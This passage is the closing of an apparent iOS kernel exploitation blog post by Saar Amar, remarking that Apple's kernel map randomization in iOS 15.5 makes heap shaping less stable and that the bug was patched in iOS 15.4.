It’s not relevant for iOS 15.3.1, but I want to mention that the trivial shapes we can do on earlier versions probably won’t be as stable on the latest iOS. In iOS 15.5, Apple randomized the general layout of the kernel map (tweet). Specifically, this vulnerability was patched on iOS 15.4, so it doesn’t affect it. I just wanted to mention Apple’s great work on the kernel heap here because, for other cases, this could be highly relevant for stability.

I hope you enjoyed this blogpost.

Thanks,

Saar Amar